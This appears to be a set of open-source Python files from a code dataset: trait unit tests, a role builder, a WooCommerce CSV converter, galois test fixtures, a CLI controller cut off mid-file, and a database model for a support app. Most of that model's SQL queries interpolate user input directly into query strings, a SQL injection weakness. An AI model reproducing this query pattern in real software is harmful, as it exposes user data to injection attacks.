self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 4)\n\n def test_init_four_args(self):\n border = Border(4, 2, 3, 1)\n self.assertEqual(border.top, 3)\n self.assertEqual(border.bottom, 1)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 2)\n\n\nclass TestHasBorder(unittest.TestCase, UnittestTools):\n\n def test_defaults(self):\n has_border = HasBorderClass()\n border = has_border.border\n\n self.assertEqual(border.top, 0)\n self.assertEqual(border.bottom, 0)\n self.assertEqual(border.left, 0)\n self.assertEqual(border.right, 0)\n\n def test_unspecified_default(self):\n trait = HasBorder()\n trait.default_value_type = UNSPECIFIED_DEFAULT_VALUE\n\n (dvt, dv) = trait.get_default_value()\n\n self.assertEqual(dvt, CALLABLE_AND_ARGS_DEFAULT_VALUE)\n self.assertEqual(\n dv,\n (\n Border,\n (),\n {'top': 0, 'bottom': 0, 'left': 0, 'right': 0},\n )\n )\n\n def test_default_int(self):\n\n class HasBorderClass(HasTraits):\n\n border = HasBorder(4)\n\n has_border = HasBorderClass()\n border = has_border.border\n\n self.assertEqual(border.top, 4)\n self.assertEqual(border.bottom, 4)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 4)\n\n def test_default_one_tuple(self):\n\n class HasBorderClass(HasTraits):\n\n border = HasBorder((4,))\n\n has_border = HasBorderClass()\n border = has_border.border\n\n self.assertEqual(border.top, 4)\n self.assertEqual(border.bottom, 4)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 4)\n\n def test_default_two_tuple(self):\n\n class HasBorderClass(HasTraits):\n\n border = HasBorder((4, 2))\n\n has_border = HasBorderClass()\n border = has_border.border\n\n self.assertEqual(border.top, 2)\n self.assertEqual(border.bottom, 2)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 4)\n\n def test_default_four_tuple(self):\n\n class HasBorderClass(HasTraits):\n\n border = HasBorder((4, 2, 3, 1))\n\n has_border = HasBorderClass()\n border = has_border.border\n\n self.assertEqual(border.top, 3)\n self.assertEqual(border.bottom, 1)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 2)\n\n def test_default_border(self):\n m = Margin(left=4, right=2, top=3, bottom=1)\n\n class HasBorderClass(HasTraits):\n\n border = HasBorder(m)\n\n has_border = HasBorderClass()\n border = has_border.border\n\n self.assertEqual(border.top, 3)\n self.assertEqual(border.bottom, 1)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 2)\n\n def test_init_int(self):\n has_border = HasBorderClass(border=4)\n border = has_border.border\n\n self.assertEqual(border.top, 4)\n self.assertEqual(border.bottom, 4)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 4)\n\n def test_init_one_tuple(self):\n has_border = HasBorderClass(border=(4,))\n border = has_border.border\n\n self.assertEqual(border.top, 4)\n self.assertEqual(border.bottom, 4)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 4)\n\n def test_init_two_tuple(self):\n has_border = HasBorderClass(border=(4, 2))\n border = has_border.border\n\n self.assertEqual(border.top, 2)\n self.assertEqual(border.bottom, 2)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 4)\n\n def test_init_four_tuple(self):\n has_border = HasBorderClass(border=(4, 2, 3, 1))\n border = has_border.border\n\n self.assertEqual(border.top, 3)\n self.assertEqual(border.bottom, 1)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 2)\n\n def test_init_border(self):\n border = Border()\n has_border = HasBorderClass(border=border)\n\n self.assertEqual(has_border.border, border)\n\n def test_set_int(self):\n has_border = HasBorderClass()\n with self.assertTraitChanges(has_border, 'border', 1):\n has_border.border = 4\n\n border = has_border.border\n self.assertEqual(border.top, 4)\n self.assertEqual(border.bottom, 4)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 4)\n\n def test_set_one_tuple(self):\n has_border = HasBorderClass()\n with self.assertTraitChanges(has_border, 'border', 1):\n has_border.border = (4,)\n\n border = has_border.border\n\n self.assertEqual(border.top, 4)\n self.assertEqual(border.bottom, 4)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 4)\n\n def test_set_two_tuple(self):\n has_border = HasBorderClass()\n with self.assertTraitChanges(has_border, 'border', 1):\n has_border.border = (4, 2)\n\n border = has_border.border\n\n self.assertEqual(border.top, 2)\n self.assertEqual(border.bottom, 2)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 4)\n\n def test_set_four_tuple(self):\n has_border = HasBorderClass()\n with self.assertTraitChanges(has_border, 'border', 1):\n has_border.border = (4, 2, 3, 1)\n\n border = has_border.border\n self.assertEqual(border.top, 3)\n self.assertEqual(border.bottom, 1)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 2)\n\n def test_set_border(self):\n border = Border()\n has_border = HasBorderClass()\n with self.assertTraitChanges(has_border, 'border', 1):\n has_border.border = border\n\n self.assertEqual(has_border.border, border)\n\n def test_set_invalid(self):\n has_border = HasBorderClass()\n with self.assertRaises(TraitError):\n has_border.border = (1, 2, 3)\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"} {"text": "class Role(object):\n vistor = 1 # \u6e38\u5ba2\uff0c\u65e0\u767b\u5f55\u6001\n user = 2 # \u7528\u6237\n manager = 3 # \u7ba1\u7406\u5458\n\n\nclass RoleBuilder(object):\n\n def __init__(self):\n self.role = []\n\n def append_vistor(self):\n self.role.append(Role.vistor)\n return self\n\n def append_user(self):\n self.role.append(Role.user)\n return self\n\n def append_manager(self):\n self.role.append(Role.manager)\n return self\n\n def build(self):\n return self.role\n\n @classmethod\n def all(cls):\n return [Role.vistor, Role.user, Role.manager]\n\n\nif __name__ == '__main__':\n print(Role.manager)\n print(Role.user)\n print(Role.vistor)\n", "source": "ayang818/pyweb-template", "license": "MIT"} {"text": "import logging\nfrom sqlalchemy import literal_column, String\nfrom sqlalchemy.schema import Column, Index\n\nfrom pedsnetdcc.abstract_transform import Transform\n\nlogger = logging.getLogger(__name__)\n\n\nclass SiteNameTransform(Transform):\n ignore_index_by_table = {\n 'fact_relationship': ('site',),\n 'measurement_organism': ('site',),\n 'visit_payer': ('site',),\n }\n\n @classmethod\n def modify_select(cls, metadata, table_name, select, join, id_name='dcc'):\n \"\"\"Add a site name column to the table.\n\n The text value of the column is drawn from the `metadata.info` dict.\n \"\"\"\n\n if 'site' not in metadata.info:\n logger.critical({\n 'msg': 'metadata.info dict should have `site` entry'\n })\n raise RuntimeError\n\n new_col = literal_column(\"'{0}'::varchar(32)\".\n format(metadata.info['site'])).label('site')\n select = select.column(new_col)\n\n return select, join\n\n @classmethod\n def modify_table(cls, metadata, table):\n \"\"\"Helper function to apply the transformation to a table in place.\n See Transform.modify_table for signature.\n \"\"\"\n\n new_col = Column('site', String)\n table.append_column(new_col)\n if table.name in cls.ignore_index_by_table:\n return\n Index(Transform.make_index_name(table.name, 'site'), new_col)\n", "source": "PEDSnet/pedsnetdcc", "license": "BSD-2-Clause"} {"text": "import pandas as pd\nimport os\n\ndef convert_to_woocommerce():\n try:\n woocommerce_csv = pd.read_csv(os.path.join(os.getcwd(), 'csv', 'produkty.csv'))\n # Zmiana nazw kolumn z otwartego arkusza na domyslne nazwy woocommerce\n woocommerce_csv = woocommerce_csv.rename(columns={\"tw_Id\": \"ID\", \"tw_Symbol\": \"SKU\", \"tw_Nazwa\": \"Name\", \"tw_Opis\": \"Short description\", \"tc_CenaNetto7\": \"Regular price\"})\n # Dodanie nowych kolumn\n woocommerce_csv.insert(loc=1, column='Type', value=\"simple\")\n woocommerce_csv['Description'] = ''\n woocommerce_csv['Tax status'] = 'taxable'\n woocommerce_csv['Backorders allowed?'] = '0'\n woocommerce_csv['Allow customer reviews?'] = '0'\n woocommerce_csv.to_csv(os.path.join(os.getcwd(), 'csv', 'woocommerce_products.csv'), index=False)\n print(woocommerce_csv)\n except FileNotFoundError as err:\n print('Error!', err)\n\nconvert_to_woocommerce()", "source": "Zavanven/subiekt-mssql-python", "license": "MIT"} {"text": "from ....db_con import database_setup\nimport calendar\n\nimport datetime\n\n\nclass Model():\n\n def __init__(self):\n self.database = database_setup()\n self.cursor = self.database.cursor\n\n\n def share(self,email,story):\n approved = False\n post = {\n \"email\": email,\n \"story\": story,\n \"approved\":approved\n }\n\n query = \"\"\"INSERT INTO share (email,story,approved)\n VALUES(%(email)s, %(story)s,%(approved)s);\"\"\"\n self.cursor.execute(query, post)\n self.database.conn.commit()\n\n return post\n\n\n def add_client(self,name,gender,age,nationality,email,phone):\n post = {\n \"email\": email,\n \"name\": name,\n \"gender\":gender,\n \"age\": age,\n \"nationality\": nationality,\n \"email\": email,\n \"phone\": phone\n }\n\n query = \"\"\"INSERT INTO Client (name,gender,age,nationality,email,phone)\n VALUES(%(name)s,%(gender)s,%(age)s,%(nationality)s,%(email)s,%(phone)s);\"\"\"\n\n self.cursor.execute(query, post)\n self.database.conn.commit()\n return post\n\n def add_consent(self,reason,expectation,addictions,coping,harm,other,email,session_id):\n post = {\n \"email\": email,\n \"reason\": reason,\n \"expectation\":expectation,\n \"addictions\": addictions,\n \"harm\": harm,\n \"other\": other,\n \"coping\": coping,\n \"session_id\":session_id\n\n }\n\n query = \"\"\"INSERT INTO Consent(reason,expectation,addictions,coping,harm,other,email,session_id)\n VALUES(%(reason)s,%(expectation)s,%(addictions)s,%(coping)s,%(harm)s,%(other)s,%(email)s,%(session_id)s);\"\"\"\n\n self.cursor.execute(query, post)\n self.database.conn.commit()\n\n return post\n\n\n\n\n\n def show_next_story(self,page):\n if page == 1:\n nextt = 0\n maxx = 10\n\n query = \"\"\"SELECT distinct share.share_id,share.story,share.post_date,share.email,\n (select count(*) from comments where share.share_id = comments.share_id and comments.approved=True)\n FROM share\n where\n share.approved = True\n ORDER BY share_id DESC OFFSET '%d' LIMIT '%d' ;\"\"\" % (nextt,maxx)\n self.cursor.execute(query)\n users = self.cursor.fetchall()\n\n return users\n\n else:\n nextt = 5 * int(page)\n maxx = 10\n\n query = \"SELECT distinct share.share_id,share.story,share.post_date,share.email,(select count(*) from comments where share.share_id = comments.share_id) FROM share where share.approved = True ORDER BY share_id DESC OFFSET '%d' LIMIT '%d' ;\" % (nextt,maxx)\n self.cursor.execute(query)\n users = self.cursor.fetchall()\n\n return users\n\n\n def stories(self):\n query = \"SELECT share_id,story,post_date,email FROM share where approved = True ORDER BY share_id DESC;\"\n self.cursor.execute(query)\n stories= self.cursor.fetchall()\n\n return stories\n\n\n def get_story(self,share_id):\n query = \"SELECT story,post_date,share_id FROM share WHERE share_id= '%s';\" % (share_id)\n\n self.cursor.execute(query)\n story = self.cursor.fetchone()\n\n return story\n\n\n\n def get_client(self,email):\n query = \"SELECT * FROM client WHERE email= '%s';\" % (email)\n\n self.cursor.execute(query)\n story = self.cursor.fetchone()\n\n return story\n\n\n\n\n def show_next_blog(self,page):\n\n if page == 1:\n nextt = 0\n maxx = 10\n\n\n query = \"SELECT users.user_id,blog.blog,blog.media,blog.post_date,users.name,users.photo,blog.title,blog.blog_id FROM blog left join users on blog.email = users.email ORDER BY blog_id DESC OFFSET '%d' LIMIT '%d' ;\" % (nextt,maxx)\n\n self.cursor.execute(query)\n users = self.cursor.fetchall()\n\n return users\n\n else:\n nextt = 5 * int(page)\n maxx = 10\n\n\n query = \"SELECT users.user_id,blog.blog,blog.photo,blog.post_date,users.name,users.media,blog.title,blog.blog_id FROM blog left join users on blog.email = users.email ORDER BY blog_id DESC OFFSET '%d' LIMIT '%d' ;\" % (nextt,maxx)\n self.cursor.execute(query)\n users = self.cursor.fetchall()\n\n return users\n\n\n def get_blog(self):\n\n query = \"SELECT users.user_id,blog.blog,blog.media,blog.post_date,users.name,users.photo,blog.title FROM blog left join users on blog.email = users.email ORDER BY blog_id DESC;\"\n self.cursor.execute(query)\n stories= self.cursor.fetchall()\n\n return stories\n\n def get_feeds(self):\n query = \"\"\"SELECT users.user_id,blog.blog,blog.media,blog.post_date,blog.title,\n blog.blog_id,blog.category,users.name,users.photo\n FROM blog left join users on blog.email = users.email ORDER BY blog_id DESC;\"\"\"\n self.cursor.execute(query)\n stories = self.cursor.fetchall()\n feed = []\n for resp in stories:\n row = {\n \"user_id\" :resp[0],\n \"blog\" :resp[1],\n \"media\" :resp[2],\n \"post_date\" :resp[3],\n \"title\" :resp[4],\n \"blog_id\":resp[5],\n \"category\":resp[6],\n \"name\":resp[7],\n \"photo\":resp[8]\n }\n\n feed.append(row)\n\n return feed\n\n\n def get_feed(self,feed_id):\n query = \"\"\"SELECT users.user_id,blog.blog,blog.media,blog.post_date,blog.title\n FROM blog left join users\n on blog.email = users.email\n where blog_id = '%s' ORDER BY blog_id DESC;\"\"\" % (feed_id)\n self.cursor.execute(query)\n resp= self.cursor.fetchone()\n feed = {\n \"user_id\":resp[0],\n \"blog\" :resp[1],\n \"media\" :resp[2],\n \"post_date\" :resp[3],\n \"title\" :resp[4]\n }\n return feed\n\n def respond(self, share_id, comment, email):\n approved = False\n resp = {\n \"share_id\": share_id,\n \"comment\": comment,\n \"email\": email,\n \"approved\":approved\n }\n\n\n query = \"\"\"INSERT INTO comments(share_id,comment,email,approved)\n VALUES(%(share_id)s,%(comment)s,%(email)s,%(approved)s)\"\"\"\n self.cursor.execute(query, resp)\n self.database.conn.commit()\n\n return resp\n\n\n def show_next_user(self,page):\n if(page == 1):\n nextt = 0\n maxx =10\n\n query = \"\"\"SELECT users.user_id,users.name,users.email,users.photo,rafiki.bio,rafiki.specialties\n from Users left join rafiki on users.email = rafiki.email\n WHERE isRafiki = True\n ORDER BY user_id DESC OFFSET '%d'\n LIMIT '%d' ;\"\"\" % (nextt,maxx)\n self.cursor.execute(query)\n users = self.cursor.fetchall()\n\n return users\n\n else:\n nextt = 5 * int(page)\n maxx = 10\n query = \"SELECT users.user_id,users.name,users.email,users.photo,rafiki.bio,rafiki.specialties from Users left join rafiki on users.email = rafiki.email WHERE isRafiki = True ORDER BY user_id DESC OFFSET '%d' LIMIT '%d' ;\" % (nextt,maxx)\n self.cursor.execute(query)\n users = self.cursor.fetchall()\n\n return users\n\n\n def search_next(self,page,search):\n if(page == 1):\n nextt = 0\n maxx = 10\n self.cursor.execute(\"SELECT * FROM share WHERE story LIKE '%s' ORDER BY share_id DESC OFFSET '%d' LIMIT '%d' \" % (\"%\" + search + \"%\",nextt,maxx))\n users = self.cursor.fetchall()\n\n return users\n\n else:\n nextt = 5 * int(page)\n maxx =10\n self.cursor.execute(\"SELECT * FROM share WHERE story LIKE '%s' ORDER BY share_id DESC OFFSET '%d' LIMIT '%d' \" % (\"%\" + search + \"%\",nextt,maxx))\n users = self.cursor.fetchall()\n\n return users\n\n\n\n def get_user(self,user_id):\n\n query = \"SELECT users.user_id,users.name,users.email,users.photo FROM Users left join rafiki on users.email = rafiki.email WHERE users.user_id = '%s' and rafiki.isRafiki = True ORDER BY users.user_id;\" % (user_id)\n\n self.cursor.execute(query)\n users = self.cursor.fetchone()\n return users\n\n\n def get_users(self):\n query = \"SELECT users.user_id,users.name,users.email,users.photo FROM Users left join rafiki on users.email = rafiki.email WHERE rafiki.isRafiki = True ORDER BY users.user_id;\"\n self.cursor.execute(query)\n users = self.cursor.fetchall()\n return users\n\n\n\n def get_respond(self,share_id):\n\n #query = \"SELECT users.name,users.photo,rafiki.isRafiki,comments.comment,comments.postedon,users.user_id,comments.comment_id FROM comments,users rafiki where comments.email = users.email and rafiki.email = users.email and comments.share_id = '%s' ORDER BY comment_id DESC;\" % (share_id)\n query = \"SELECT comment FROM comments where share_id = '%s' and approved = True ORDER BY comment_id DESC;\" % (share_id)\n\n self.cursor.execute(query)\n users = self.cursor.fetchall()\n\n return users\n\n\n\n def show_next_respond(self,page,share_id):\n if(page == 1):\n nextt = 0\n maxx = 10\n query = \"\"\"SELECT users.name,users.photo,rafiki.isRafiki,comments.comment,comments.postedon,\n users.user_id,comments.comment_id\n FROM comments,users,rafiki\n WHERE comments.email = users.email\n and rafiki.email = users.email\n and comments.share_id = '%s'\n and comments.approved= True\n\n ORDER BY comment_id DESC OFFSET '%d' LIMIT '%d' ;\"\"\" % (share_id,nextt,maxx)\n\n self.cursor.execute(query)\n users = self.cursor.fetchall()\n\n return users\n\n else:\n nextt = 5 * int(page)\n maxx = 10\n\n\n query = \"\"\"SELECT users.name,users.photo,rafiki.isRafiki,comments.comment,comments.postedon,\n users.user_id,comments.comment_id\n FROM comments,users,rafiki\n where comments.email = users.email\n and rafiki.email = users.email\n and comments.share_id = '%s'\n and comments.approved= True\n ORDER BY comment_id DESC OFFSET '%d' LIMIT '%d' ;\"\"\" % (share_id,nextt,maxx)\n self.cursor.execute(query)\n users = self.cursor.fetchall()\n\n return users\n\n\n\n\n def get_user_id(self,session_id):\n query = \"SELECT users.user_id from users,appointment WHERE appointment.email = users.email AND appointment.session_id= '%s';\" % (session_id)\n self.cursor.execute(query)\n stories= self.cursor.fetchone()\n\n return stories\n\n def get_profile(self, email):\n self.cursor.execute(\"SELECT * FROM rafiki WHERE email = '%s'\" % (email))\n query = self.cursor.fetchone()\n\n return query\n\n\n def search_post(self, search):\n self.cursor.execute(\"SELECT * FROM share WHERE story LIKE '%s';\" % (\"%\" + search + \"%\"))\n query = self.cursor.fetchall()\n\n return query\n\n def all_post(self):\n self.cursor.execute(\"SELECT * FROM share\")\n query = self.cursor.fetchall()\n return query\n\n\n\n def get_post(self,page):\n if(page == 1):\n nextt = 0\n maxx = 10\n self.cursor.execute(\"SELECT * FROM share ORDER BY share_id DESC OFFSET '%d' LIMIT '%d'\" % (nextt,maxx))\n resp = self.cursor.fetchall()\n\n return resp\n\n else:\n nextt = 5 * int(page)\n maxx =10\n self.cursor.execute(\"SELECT * FROM share ORDER BY share_id DESC OFFSET '%d' LIMIT '%d'\" % (nextt,maxx))\n resp = self.cursor.fetchall()\n\n return resp\n\n\n def set_calendar(self):\n\n # HTML formatted calendar\n myCal = calendar.HTMLCalendar(calendar.SUNDAY)\n\n now = datetime.datetime.now()\n month = now.month\n year = now.year\n\n # Get 2019 July\n htmlStr = myCal.formatmonth(year, month)\n\n return htmlStr\n\n\n def get_rafiki(self,email):\n query = \"SELECT users.name,users.photo,users.user_id,rafiki.bio FROM Users left join rafiki on users.email = rafiki.email and users.email = '%s';\" % (email)\n self.cursor.execute(query)\n users = self.cursor.fetchone()\n\n return users\n\n\n def get_share_id(self,comment_id):\n query = \"SELECT share_id FROM comments where comment_id = '%s';\" % (comment_id)\n self.cursor.execute(query)\n users = self.cursor.fetchone()\n\n return users[0]\n\n\n\n\n\n def delete_story(self,share_id):\n query = \"DELETE FROM share WHERE share_id = '%s';\" % (share_id)\n self.cursor.execute(query)\n self.database.conn.commit()\n\n def delete_comment(self,comment_id):\n query = \"DELETE FROM comments WHERE comment_id = '%s';\" % (comment_id)\n self.cursor.execute(query)\n\n self.database.conn.commit()\n\n\n\n\n def get_user_blog(self,email):\n query = \"SELECT users.user_id,blog.blog,blog.media,blog.post_date,users.name,users.photo FROM blog left join users on blog.email = users.email WHERE users.email = '%s' ORDER BY blog_id DESC;\" % (email)\n self.cursor.execute(query)\n stories= self.cursor.fetchall()\n\n return stories\n\n\n def show_next_user_blog(self,page,email):\n\n if page == 1:\n nextt = 0\n maxx =10\n\n query = \"SELECT users.user_id,blog.blog,blog.media,blog.post_date,users.name,users.photo FROM blog left join users on blog.email = users.email WHERE users.email = '%s' ORDER BY blog_id DESC OFFSET '%d' LIMIT '%d' ;\" % (email,nextt,maxx)\n self.cursor.execute(query)\n users = self.cursor.fetchall()\n\n return users\n\n else:\n nextt = 5 * int(page)\n maxx =10\n\n query = \"SELECT users.user_id,blog.blog,blog.photo,blog.post_date,users.name,users.media FROM blog left join users on blog.email = users.email WHERE users.email = '%s' ORDER BY blog_id DESC OFFSET '%d' LIMIT '%d' ;\" % (email,nextt,maxx)\n self.cursor.execute(query)\n users = self.cursor.fetchall()\n\n return users\n\n\n\n def event(self,event_id):\n query = \"SELECT * FROM Schedule where id = %s;\" % (event_id)\n self.cursor.execute(query)\n row = self.cursor.fetchone()\n session = \"session/\" + str(row[0])\n event = {\n \"url\":session,\n \"title\":row[1],\n \"class\":row[2],\n \"date\":row[3],\n \"start\":row[4],\n \"end\":row[5],\n \"email\":row[6],\n \"createdon\":row[7],\n \"id\":row[0]\n\n }\n\n return event\n", "source": "bmugenya/Rafiki", "license": "MIT"} {"text": "\"\"\"\nA pytest conftest module that provides pytest fixtures for galois/polys/ tests.\n\"\"\"\nimport os\nimport pickle\n\nimport pytest\nimport numpy as np\n\nimport galois\n\nfrom ..fields.conftest import field, field_folder\n\n\n###############################################################################\n# Helper functions\n###############################################################################\n\ndef read_pickle(field_folder, filename):\n GF, folder = field_folder\n folder = os.path.join(folder, \"..\", \"..\", \"..\", \"polys\", \"data\", os.path.basename(folder)) # Convert from folder in fields/data/ to polys/data/\n with open(os.path.join(folder, filename), \"rb\") as f:\n print(f\"Loading {f}...\")\n d = pickle.load(f)\n return GF, d\n\n\n###############################################################################\n# Fixtures for polynomial arithmetic over finite fields\n###############################################################################\n\n@pytest.fixture(scope=\"session\")\ndef poly_add(field_folder):\n GF, d = read_pickle(field_folder, \"add.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"Y\"] = [galois.Poly(p, field=GF) for p in d[\"Y\"]]\n d[\"Z\"] = [galois.Poly(p, field=GF) for p in d[\"Z\"]]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_subtract(field_folder):\n GF, d = read_pickle(field_folder, \"subtract.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"Y\"] = [galois.Poly(p, field=GF) for p in d[\"Y\"]]\n d[\"Z\"] = [galois.Poly(p, field=GF) for p in d[\"Z\"]]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_multiply(field_folder):\n GF, d = read_pickle(field_folder, \"multiply.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"Y\"] = [galois.Poly(p, field=GF) for p in d[\"Y\"]]\n d[\"Z\"] = [galois.Poly(p, field=GF) for p in d[\"Z\"]]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_scalar_multiply(field_folder):\n GF, d = read_pickle(field_folder, \"scalar_multiply.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"Y\"] = d[\"Y\"]\n d[\"Z\"] = [galois.Poly(p, field=GF) for p in d[\"Z\"]]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_divmod(field_folder):\n GF, d = read_pickle(field_folder, \"divmod.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"Y\"] = [galois.Poly(p, field=GF) for p in d[\"Y\"]]\n d[\"Q\"] = [galois.Poly(p, field=GF) for p in d[\"Q\"]]\n d[\"R\"] = [galois.Poly(p, field=GF) for p in d[\"R\"]]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_power(field_folder):\n GF, d = read_pickle(field_folder, \"power.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"Y\"] = d[\"Y\"]\n d[\"Z\"] = [[galois.Poly(p, field=GF) for p in l] for l in d[\"Z\"]]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_evaluate(field_folder):\n GF, d = read_pickle(field_folder, \"evaluate.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"Y\"] = GF(d[\"Y\"])\n d[\"Z\"] = GF(d[\"Z\"])\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_evaluate_matrix(field_folder):\n GF, d = read_pickle(field_folder, \"evaluate_matrix.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"Y\"] = [GF(y) for y in d[\"Y\"]]\n d[\"Z\"] = [GF(z) for z in d[\"Z\"]]\n return d\n\n\n###############################################################################\n# Fixtures for polynomial arithmetic methods\n###############################################################################\n\n@pytest.fixture(scope=\"session\")\ndef poly_reverse(field_folder):\n GF, d = read_pickle(field_folder, \"reverse.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"Z\"] = [galois.Poly(p, field=GF) for p in d[\"Z\"]]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_roots(field_folder):\n GF, d = read_pickle(field_folder, \"roots.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"R\"] = [GF(r) for r in d[\"R\"]]\n d[\"M\"] = [np.array(m) for m in d[\"M\"]]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_derivative(field_folder):\n GF, d = read_pickle(field_folder, \"derivative.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"Y\"] = d[\"Y\"]\n d[\"Z\"] = [galois.Poly(p, field=GF) for p in d[\"Z\"]]\n return d\n\n\n###############################################################################\n# Fixtures for polynomial arithmetic functions\n###############################################################################\n\n@pytest.fixture(scope=\"session\")\ndef poly_egcd(field_folder):\n GF, d = read_pickle(field_folder, \"egcd.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"Y\"] = [galois.Poly(p, field=GF) for p in d[\"Y\"]]\n d[\"D\"] = [galois.Poly(p, field=GF) for p in d[\"D\"]]\n d[\"S\"] = [galois.Poly(p, field=GF) for p in d[\"S\"]]\n d[\"T\"] = [galois.Poly(p, field=GF) for p in d[\"T\"]]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_lcm(field_folder):\n GF, d = read_pickle(field_folder, \"lcm.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [[galois.Poly(p, field=GF) for p in X] for X in d[\"X\"]]\n d[\"Z\"] = [galois.Poly(p, field=GF) for p in d[\"Z\"]]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_prod(field_folder):\n GF, d = read_pickle(field_folder, \"prod.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [[galois.Poly(p, field=GF) for p in X] for X in d[\"X\"]]\n d[\"Z\"] = [galois.Poly(p, field=GF) for p in d[\"Z\"]]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_crt(field_folder):\n GF, d = read_pickle(field_folder, \"crt.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [[galois.Poly(p, field=GF) for p in X] for X in d[\"X\"]]\n d[\"Y\"] = [[galois.Poly(p, field=GF) for p in Y] for Y in d[\"Y\"]]\n d[\"Z\"] = [galois.Poly(p, field=GF) if p is not None else None for p in d[\"Z\"]]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_modular_power(field_folder):\n GF, d = read_pickle(field_folder, \"modular_power.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"E\"] = d[\"E\"]\n d[\"M\"] = [galois.Poly(p, field=GF) for p in d[\"M\"]]\n d[\"Z\"] = [galois.Poly(p, field=GF) for p in d[\"Z\"]]\n return d\n\n\n###############################################################################\n# Fixtures for special polynomials\n###############################################################################\n\n@pytest.fixture(scope=\"session\")\ndef poly_is_monic(field_folder):\n GF, d = read_pickle(field_folder, \"is_monic.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"Z\"] = d[\"Z\"]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_is_irreducible(field_folder):\n GF, d = read_pickle(field_folder, \"is_irreducible.pkl\")\n d[\"GF\"] = GF\n d[\"IS\"] = [galois.Poly(p, field=GF) for p in d[\"IS\"]]\n d[\"IS_NOT\"] = [galois.Poly(p, field=GF) for p in d[\"IS_NOT\"]]\n return d\n\n\n@pytest.fixture(scope=\"session\")\ndef poly_is_primitive(field_folder):\n GF, d = read_pickle(field_folder, \"is_primitive.pkl\")\n d[\"GF\"] = GF\n d[\"IS\"] = [galois.Poly(p, field=GF) for p in d[\"IS\"]]\n d[\"IS_NOT\"] = [galois.Poly(p, field=GF) for p in d[\"IS_NOT\"]]\n return d\n\n@pytest.fixture(scope=\"session\")\ndef poly_is_square_free(field_folder):\n GF, d = read_pickle(field_folder, \"is_square_free.pkl\")\n d[\"GF\"] = GF\n d[\"X\"] = [galois.Poly(p, field=GF) for p in d[\"X\"]]\n d[\"Z\"] = d[\"Z\"]\n return d\n", "source": "hussinhassan80/galois", "license": "MIT"} {"text": "from typing import List\n\nfrom cement import Controller, ex\n\nfrom banyan.api.shield import ShieldAPI\nfrom banyan.controllers.base import Base\nfrom banyan.core.exc import BanyanError\nfrom banyan.model.netagent import Netagent\nfrom banyan.model.shield import Shield\n\n\nclass ShieldController(Controller):\n class Meta:\n label = 'shield'\n stacked_type = 'nested'\n stacked_on = 'base'\n help = 'manage Banyan Shield clusters'\n\n @property\n def _client(self) -> ShieldAPI:\n return self.app.client.shields\n\n @ex(help='list shields')\n def list(self):\n shields: List[Shield] = self._client.list()\n results = list()\n headers = ['Name', 'ID', 'Address', 'SCEP Enabled', 'OTK Enabled', 'Status']\n for shield in shields:\n new_row = [shield.name, shield.id,\n shield.public_addr, shield.scep_enabled, shield.otk_enabled, self._client.status(str(shield.id))]\n results.append(new_row)\n results.sort(key=lambda x: x[0])\n 